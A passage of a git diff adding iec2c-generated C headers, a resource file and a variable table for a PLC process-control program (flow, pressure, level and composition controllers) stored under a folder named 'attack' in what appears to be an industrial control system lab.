TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; 